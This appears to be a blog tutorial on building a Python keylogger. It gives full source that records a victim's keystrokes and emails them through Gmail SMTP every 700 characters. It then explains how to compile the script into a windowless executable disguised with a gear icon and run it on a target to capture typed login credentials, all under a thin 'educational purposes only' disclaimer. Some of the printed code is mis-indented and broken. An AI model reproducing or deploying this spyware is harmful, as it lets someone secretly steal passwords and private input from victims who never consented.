Keylogger in Python

Writing a Keylogger in Python

In this article, I will be guiding you to write your own keylogger in Python that will capture the victim key keystrokes & will email them directly to your mailbox.

Disclaimer: This is for educational purposes only, as I am not promoting any type of illegal activity.

What we will discuss:

1. Environment Setup
2. Converting Python code to an exe
3. Running the file on our target machine
4. Checking an email for received keystrokes.

Environment Step:

To write and run your Keylogger, you should have these things installed.

1. Python
2. Necessary Libraries
3. IDE (Integrated Development Environment), here we will be using

Let’s dig in:

Open your Windows cmd as an administrator

1. Installing Python:

Google “Python”

Or click on this link to go directly to the download page

Installing necessary libraries:

install pip install pynput        

pip install pyinstaller        

First install pip install pynput

pip install pyinstaller

Downloading & Installing IDE:

We will be using the Sublime Text editor

First, go to Google & search for Sublime Text editor

Or download it from this link: Download - Sublime Text

Simply install it as you install other applications.

Writing Python Code:

Check my GitHub repo for downloading the code:

from pynput.keyboard import Listener
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText        

# Global variable to store typed characters

captured_keys = ""        

def handle_key_press(key_event):
    """
    Converts and stores pressed keys into a global string,
    sending them via email after a specified length.
    """
    global captured_keys        

# Convert key event to string and remove quotes

key_str = str(key_event).replace("'", "")        

# Replace special keys with readable characters

    special_keys = {
        'Key.space': ' ',
        'Key.enter': '\n',
        'Key.shift': '',
        'Key.backspace': '<'
    }

    key_str = special_keys.get(key_str, key_str)        

# Append processed key to the global log

captured_keys += key_str        

# Trigger email sending after every 700 characters

    if len(captured_keys) >= 700:
        transmit_logs_via_email(captured_keys)
        captured_keys = ""  # Reset log after sending        

def transmit_logs_via_email(log_data):
    """
    Sends the captured keystrokes to an email address.
    """
    sender_email = "YourGmail@gmail.com"
    recipient_email = "YourGmail@gmail.com"
    email_password = "your_app_password_here"  # Use app password from https://myaccount.google.com/apppasswords        

# Create MIME message

    email_msg = MIMEMultipart()
    email_msg['From'] = sender_email
    email_msg['To'] = recipient_email
    email_msg['Subject'] = "Captured Keystrokes Log"
    email_msg.attach(MIMEText(log_data, 'plain'))        

# Connect and send email using Gmail SMTP

try:
        smtp_server = smtplib.SMTP('smtp.gmail.com', 587)
        smtp_server.starttls()
        smtp_server.login(sender_email, email_password)
        smtp_server.sendmail(sender_email, recipient_email, email_msg.as_string())
        smtp_server.quit()
    except Exception as e:
        print(f"[!] Error sending email: {e}")        

# Start the keylogger listener

if __name__ == "__main__":
    with Listener(on_press=handle_key_press) as listener:
        listener.join()        

Downloading an icon for our keylogger

Go to this site: Free Icons PNG, ICO, ICNS, and SVG

Search for a gear icon or another icon of your choice

Download it in icon format

Go to https://myaccount.google.com/

Go to the Security Tab

Apply 2-Step Authentication

Then search for app passwords

Retype your Google password

Write an app name of your choice, you can write it any custom name

You will see an app password & this can be used to replace the placeholder when you download my code from the above repo link.

Copy the app password

Open the code in Sublime or any text editor

Place the code here

Write your email in the sender & the recipient email

Converting our code to EXE

Place the Python File and the icon in the same folder

Open PowerShell in the same directory and type the following code:

pyinstaller -w -F keylogger.py --icon=icon.ico        

Our Keylogger is ready

Now visiting the dummy login page.

& entering dummy credentials

You will see an email

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